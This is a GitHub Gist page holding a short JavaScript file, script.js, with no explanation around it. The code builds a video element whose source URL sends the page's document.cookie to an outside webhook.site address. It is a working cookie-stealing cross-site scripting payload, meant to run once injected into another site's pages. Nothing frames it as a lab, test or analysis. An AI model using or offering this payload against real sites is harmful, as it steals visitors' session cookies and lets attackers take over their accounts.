Created
October 26, 2022 13:29
-
-
Save c0nrad/b733c5bdaa9ea841831cb36fc9342493 to your computer and use it in GitHub Desktop.
script.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var videoelement = document.createElement("video"); | |
videoelement.setAttribute("id", "video1"); | |
var sourceMP4 = document.createElement("source"); | |
sourceMP4.type = "video/mp4"; | |
sourceMP4.src = "https://webhook.site/b0ac5293-b48e-4831-a5d6-eebedb5869bf/b.png?data=" + encodeURI(document.cookie); | |
videoelement.appendChild(sourceMP4); | |
document.body.appendChild(videoelement); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment